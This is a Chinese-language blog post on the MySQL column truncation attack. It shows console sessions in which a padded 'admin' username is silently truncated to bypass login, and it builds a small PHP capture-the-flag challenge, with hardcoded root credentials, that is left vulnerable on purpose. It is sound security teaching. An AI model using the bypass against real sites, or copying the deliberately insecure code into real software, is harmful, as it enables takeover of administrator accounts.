2008年,Stefan Esser提出一种名为”SQL Column Truncation”攻击方式,就是以上说的SQL截断攻击。
在MYSQL的配置中,有一个sql_mode选项。当MYSQL的sql_mode设置为default的时候,即没有开启STRICT_ALL_TABLES的时候,MYSQL对于用户插入的超长值只会提示warning,而不是error(如果是error则插入不成功),这可能会导致一些“截断”问题。
测试过程如下(MYSQL 5)。
首先开启strict模式:
1
| mysql> set @@sql_mode="STRICT_TRANS_TABLES,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION";
|
在该模式下,因为输入的字符串超出了字符限制,因此数据库返回一个error信息,同时数据插入不成功。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| mysql> create table strict_test( -> id int not null auto_increment, -> username varchar(10), -> password varchar(10), -> primary key(id)); Query OK, 0 rows affected (0.09 sec) mysql> select * from strict_test; Empty set (0.01 sec) mysql> show columns from strict_test; +----------+-------------+------+-----+---------+----------------+ | Field | Type | Null | Key | Default | Extra | +----------+-------------+------+-----+---------+----------------+ | id | int(11) | NO | PRI | NULL | auto_increment | | username | varchar(10) | YES | | NULL | | | password | varchar(10) | YES | | NULL | | +----------+-------------+------+-----+---------+----------------+ 3 rows in set (0.00 sec) mysql> insert into strict_test(username,password) values('admin','pass'); Query OK, 1 row affected (0.01 sec) mysql> select * from strict_test; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | admin | pass | +----+----------+----------+ 1 row in set (0.00 sec) mysql> insert into strict_test(username,password) values('admin x','new_pass'); ERROR 1406 (22001): Data too long for column 'username' at row 1 mysql> select * from strict_test; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | admin | pass | +----+----------+----------+ 1 row in set (0.00 sec)
|
当关闭strict选项时:
1 2
| mysql> set @@sql_mode="NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION"; Query OK, 0 rows affected (0.00 sec)
|
再次插入刚才那条数据,数据库只返回一个warning,但数据插入成功:
1 2 3 4 5 6 7 8 9 10 11
| mysql> insert into strict_test(username,password) values('admin x','new_pass'); Query OK, 1 row affected, 1 warning (0.00 sec) mysql> select * from strict_test; +----+------------+----------+ | id | username | password | +----+------------+----------+ | 1 | admin | pass | | 2 | admin | new_pass | +----+------------+----------+ 2 rows in set (0.00 sec)
|
此时就可以绕过身份认证登陆admin的账号,造成越权访问。
在这个问题公布后不久,WordPress就出现了一个真实案例:
注册一个用户名为”admin(55个空格)x”的用户,就可以修改原管理员的密码了。但是因为攻击者在此只能修改管理员的密码,而新密码仍然会发送到管理员的邮箱,所以并没有造成严重的后果(该wp版本为2.6.1)
闲着没事干,自己搭了个小题目来强化记忆一下。
index.html:
1 2 3 4 5 6 7 8 9 10 11 12
| <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>小哥哥小姐姐快来玩</title> </head> <body> <a href="login.php">登陆</a> <a href="register.php">注册</a> </body> </html>
|
login.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| <?php session_start(); header("Content-type: text/html; charset=utf-8"); $conn = mysql_connect("localhost","root","toor"); mysql_select_db("zz_test") or die("数据库失败!"); $_SESSION['isadmin']=0; $_SESSION['isguest']=0; if(isset($_POST['username']) && isset($_POST['password'])){ $uname=addslashes($_POST['username']); $pw=addslashes($_POST['password']); $sql="select * from strict_test where username='$uname'"; $query=mysql_query($sql); // echo mysql_num_rows($query); while($row=mysql_fetch_array($query)){ if($row['password']===$pw ){ if($uname==="admin"){ $_SESSION['isadmin']=1; header('location: ./flag.php'); exit; } else { $_SESSION['isguest']=1; header('location:./guest.php'); exit; } } } echo "<script type='text/javascript'>alert('用户名或者密码错误!');history.back();</script>"; exit; } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>登录</title> </head> <body> <form action="login.php" method="post"> 用户名: <input type="text" name="username"> 密码: <input type="password" name="password"> <input type="submit" value="提交"> </form> </body> </html>
|
register.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| <?php header("Content-type: text/html; charset=utf-8"); try{ $conn = new PDO( "mysql:host=localhost;dbname=zz_test","root", "toor"); }catch(PDDException $e){ echo"数据库连接错误"; } if(isset($_POST['username']) && isset($_POST['password'])){ $uname=$_POST['username']; $pw=$_POST['password']; if($uname==="admin"){ echo "<script type='text/javascript'>alert('用户已存在');location.href='index.html';</script>"; exit; } $sql="insert into strict_test(username,password) values(?,?)"; $stmt=$conn->prepare($sql); $data=array(0=>$uname,1=>$pw ); $stmt->execute($data); echo "<script type='text/javascript'>alert('注册成功');location.href='index.html';</script>"; exit; } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>注册</title> </head> <body> <form action="register.php" method="post"> 用户名: <input type="text" name="username"> 密码: <input type="password" name="password"> <input type="submit" value="注册"> </form> </body> </html>
|
flag.php:
1 2 3 4 5 6 7 8
| <?php session_start(); if($_SESSION['isadmin']===1){ echo "here is your flag:ZJGSU{zz_is_handsome!}"; } else echo "you are not admin!"; ?>
|
guest.php:
1 2 3 4 5 6 7 8
| <?php session_start(); if($_SESSION['isguest']===1){ echo "this is no flag!Only admin can get the flag!"; } else echo "who are you?"; ?>
|
test.sql:
1 2 3 4 5
| create database zz_test; use zz_test; create table strict_test(id int not null auto_increment,username varchar(10),password varchar(10),primary key(id)); insert into strict_test(username,password) values('admin','asdf'); set @@sql_mode='NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION';
|
可以看到如果想要拿到flag,必须通过login.php里的身份验证,但是我添加了addslashes()函数来转义单引号,而且数据库和页面编码方式都为utf-8,也不能用宽字节注入来做。同时在注册的时候,我也加上了addslashes()函数,导致二次注入也很艰难。
但是可以使用以上的攻击方法来修改掉admin的密码。
PS:
但是在本地用phpstudy测试的时候发现一个很有意思的东西,当我开启STRICT_ALL_TABLES的时候,即如下:
1
| set @@sql_mode='STRICT_TRANS_TABLES,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION';
|
此时
到这里都是正常的,预料之中的东西。
但是呢,接下来神奇的事情发生了。
这是原表:
然后我通过一个php中的mysql_connect来插入同样的数据
1 2 3 4 5 6 7
| if(isset($_POST['username']) && isset($_POST['password'])){ $uname=addslashes($_POST['username']); $pw=addslashes($_POST['password']); echo strlen($uname).'<br/>'; $sql="insert into strict_test(username,password) values('$uname','$pw')"; echo $sql; $result=mysql_query($sql) or die( mysql_error() );
|
并没有报错,同时插入也成功了,而且实现了截断功能:
一脸懵逼,跪求希望有知道的大佬教教我。。(垃圾mysql_connect,我还是用PDO吧)(PDO也不行)